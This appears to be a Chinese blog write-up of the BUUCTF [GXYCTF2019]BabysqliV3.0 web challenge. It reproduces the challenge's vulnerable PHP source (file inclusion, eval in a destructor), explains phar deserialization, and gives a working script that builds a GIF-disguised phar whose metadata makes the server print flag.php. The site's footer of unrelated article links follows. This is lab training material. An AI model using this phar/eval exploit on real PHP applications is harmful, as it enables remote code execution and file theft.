当前位置: 首页 > article >正文

79,【3】BUUCTF WEB [GXYCTF2019]BabysqliV3.0

进入靶场

现在做多了其他类型,老喜欢这个页面了,老朋友admin password

老规矩,桌面有啥就传啥

第一次点击上传什么都不显示

点了两次就有下面开头的那段话了

他在最后还偷偷骂了一句

确实连不上

再回顾一下题目

buuctf打不开了

只能看别人的wp了

以此wp为参考

[GXYCTF2019]BabysqliV3.0-CSDN博客

home.php

<?php
// 开启 session,用于存储和管理用户会话相关数据
session_start(); 
// 设置页面的 meta 信息,指定内容类型为 HTML 且字符编码为 utf - 8,同时设置页面标题为 Home
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
// 关闭错误报告,避免在页面上显示 PHP 错误信息
error_reporting(0);
// 检查用户是否已经通过 session 登录
if (isset($_SESSION['user'])) {
    // 检查是否通过 GET 方式传递了 file 参数
    if (isset($_GET['file'])) { 
        // 使用正则表达式进行匹配,不区分大小写检查 file 参数中是否包含 "flag" 相关字符序列,若包含则认为是恶意请求
        if (preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])) { 
            die("hacker!");
        } else {
            // 检查 file 参数值是否以 "home" 或 "upload" 结尾(不区分大小写)
            if (preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])) {
                // 如果以 "home" 或 "upload" 结尾,则在参数值后自动添加 ".php" 后缀
                $file = $_GET['file'].".php"; 
            } else {
                // 否则在参数值后添加 ".fxxkyou!" 后缀
                $file = $_GET['file'].".fxxkyou!"; 
            }
            echo "当前引用的是 ". $file;
            // 引入处理后的文件,可能存在文件包含漏洞风险
            require $file; 
        }
    } else {
        die("no permission!");
    }
}
?>

upload.php

<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露
error_reporting(0);

// 定义 Uploader 类,用于处理文件上传相关操作
class Uploader{
    // 定义公共属性,用于存储文件名
    public $Filename;
    // 定义公共属性,用于存储要执行的命令
    public $cmd;
    // 定义公共属性,用于存储用户令牌
    public $token;

    // 构造函数,当类的对象被创建时自动调用
    function __construct(){
        // 获取当前工作目录,并拼接上传目录和用户的 MD5 哈希值,作为沙盒目录
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        // 定义文件扩展名
        $ext = ".txt";
        // 尝试创建沙盒目录,权限设置为 0777,允许递归创建
        @mkdir($sandbox, 0777, true);

        // 检查是否通过 GET 方式传递了 name 参数,并且该参数不包含特定的危险字符串(如 data://、filter:// 等)
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            // 如果满足条件,将传递的 name 参数赋值给 Filename 属性
            $this->Filename = $_GET['name'];
        } else {
            // 否则,使用沙盒目录、用户信息和扩展名组合成默认文件名
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        // 初始化要执行的命令,输出提示信息
        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        // 将用户令牌赋值给 token 属性
        $this->token = $_SESSION['user'];
    }

    // 上传文件的方法,接收一个文件信息数组作为参数
    function upload($file){
        // 声明全局变量,获取沙盒目录和文件扩展名
        global $sandbox;
        global $ext;

        // 检查文件名是否包含除字母和数字之外的字符
        if(preg_match("[^a-z0-9]", $this->Filename)){
            // 如果包含,将执行的命令设置为输出非法文件名错误信息并终止脚本
            $this->cmd = "die('illegal filename!');";
        } else {
            // 检查上传文件的大小是否超过 1024 字节
            if($file['size'] > 1024){
                // 如果超过,将执行的命令设置为输出文件过大错误信息并终止脚本
                $this->cmd = "die('you are too big (′▽`〃)');";
            } else {
                // 如果文件大小符合要求,将执行的命令设置为将临时文件移动到指定的文件名位置
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    // 当对象被当作字符串使用时,自动调用该方法
    function __toString(){
        // 声明全局变量,获取沙盒目录和文件扩展名
        global $sandbox;
        global $ext;
        // 返回文件名
        return $this->Filename;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct(){
        // 检查令牌是否和当前会话中的用户令牌一致
        if($this->token != $_SESSION['user']){
            // 如果不一致,将执行的命令设置为输出令牌检查失败错误信息并终止脚本
            $this->cmd = "die('check token falied!');";
        }
        // 执行存储在 cmd 属性中的命令
        eval($this->cmd);
    }
}

// 检查是否通过 POST 方式上传了文件
if(isset($_FILES['file'])) {
    // 创建 Uploader 类的对象
    $uploader = new Uploader();
    // 调用 upload 方法处理上传的文件
    $uploader->upload($_FILES["file"]);
    // 尝试读取上传文件的内容
    if(@file_get_contents($uploader)){
        // 如果读取成功,输出提示信息和文件名
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        // 输出上传文件的内容
        echo file_get_contents($uploader);
    }
}
?>

看完源代码,豁然开朗,(好歹知道了为啥出现f..k you了)

博主利用了这个eval方法

eval() 函数在 PHP(以及其他一些编程语言,如 JavaScript 等也有类似功能的函数)中被认为是一个危险的方法

再解释一下phar

  • Phar 简介:Phar(PHP Archive)是 PHP 提供的一种将多个 PHP 文件打包成一个文件的机制,类似于 Java 的 JAR 文件或者 Python 的 Egg 文件。它允许开发者将整个应用程序或者库打包成一个单一的文件,方便分发和部署。
  • Phar 序列化:在某些情况下,Phar 文件可能会涉及到序列化和反序列化操作。序列化是将对象的状态转换为可以存储或传输的格式(通常是字符串),而反序列化则是将这个格式还原为对象。在 PHP 中,当处理 Phar 文件时,如果其中包含对象,并且在代码中进行对象的序列化和反序列化操作,就会涉及到 Phar 序列化相关的问题。

刚才那个图片中有个if语句,需要满足

txt前面的是token认证

博主看见了/var/www/html就猜测flag.php在这个目录的下面

很敏感,确实应该想到,不过其实我没想到

<?php
// 定义一个名为 Uploader 的类,用于表示文件上传相关的操作或信息
class Uploader{
    // 定义公共属性 Filename,用于存储文件名,这里初始化为 'test'
    public $Filename='test';
    // 定义公共属性 cmd,用于存储要执行的命令,这里是高亮显示 /var/www/html/flag.php 文件的内容
    public $cmd='highlight_file("/var/www/html/flag.php");';
    // 定义公共属性 token,用于存储一个令牌,可能用于身份验证或其他安全机制
    public $token='GXYe3f43ab2c8516edac699d4649327bb1f';
}

// 创建 Uploader 类的一个实例 $a
$a = new Uploader();

// 创建一个新的 Phar 对象,指定 Phar 文件的名称为 'abbbbb.phar'
$phar = new Phar('abbbbb.phar');

// 开始对 Phar 文件的操作进行缓冲,避免在操作过程中频繁写入文件,提高性能
$phar->startBuffering();

// 设置 Phar 文件的存根(stub),存根是 Phar 文件开始执行时首先运行的代码。
// 这里将存根设置为 'GIF89a'(GIF 图片文件头)和 '<?php __HALT_COMPILER();? >',
// 这样做的目的可能是为了让 Phar 文件伪装成 GIF 图片文件,同时利用 __HALT_COMPILER() 函数来结束 PHP 代码的执行,直到文件末尾
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();? >');

// 将之前创建的 Uploader 类实例 $a 作为元数据添加到 Phar 文件中
// 元数据可以用来存储与 Phar 文件相关的额外信息,在后续操作中可以通过相应的方法获取
$phar->setMetadata($a);

// 向 Phar 文件中添加一个名为 'test.txt' 的文件,文件内容为 'test'
$phar->addFromString('test.txt', 'test');

// 停止缓冲,并将之前的操作结果写入到 'abbbbb.phar' 文件中
$phar->stopBuffering();
?>

博主说test是为了绕过if(preg_match("[^a-z0-9]", $this->Filename)),只能是纯字母或者纯数字

所以可以凭借喜欢随意更改

最后博主得到phar的路径,进行name=phar://路径就成功得到了flag

笔记

1,看见了/var/www/html要能猜测到flag.php在这个目录的下面

2,学会phar

3,伪协议


http://www.kler.cn/a/518927.html

相关文章:

  • 又是一年啊
  • 二叉树(了解)c++
  • java开发常用指令整理
  • ES设置证书和创建用户,kibana连接es
  • 2025年国产化推进.NET跨平台应用框架推荐
  • Linux安装mysql5.7
  • mongoDB常见指令
  • Go中new和make的区别对比
  • 机器学习的通俗解释
  • Node.js下载安装及环境配置教程 (详细版)
  • 服务器中的流量主要是指什么?
  • RPC是什么?和HTTP区别?
  • Python 对列表进行排序的 5 种方法
  • C++17 新增属性详解
  • Unity在WebGL中拍照和录视频
  • 通过Python编程语言实现“机器学习”小项目教程案例
  • 【Rust自学】15.2. Deref trait Pt.1:什么是Deref、解引用运算符*与实现Deref trait
  • Mongodb副本集群为什么选择3个节点不选择4个节点
  • 【Matlab高端绘图SCI绘图模板】第002期 绘制面积图
  • Spring中的事务管理器TransactionManager
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.2 ndarray解剖课:多维数组的底层实现
  • 「 机器人 」扑翼飞行器混合控制策略缺点浅谈
  • 在centos下使用containerd管理容器:5分钟从docker转型到containerd
  • go并发原语源码系列(二)sync.WaitGroup
  • How to learn html?基于chatGLM-b生成示例(仅供参考)
  • 【C++】类与对象初级应用篇:打造自定义日期类与日期计算器(2w5k字长文附源码)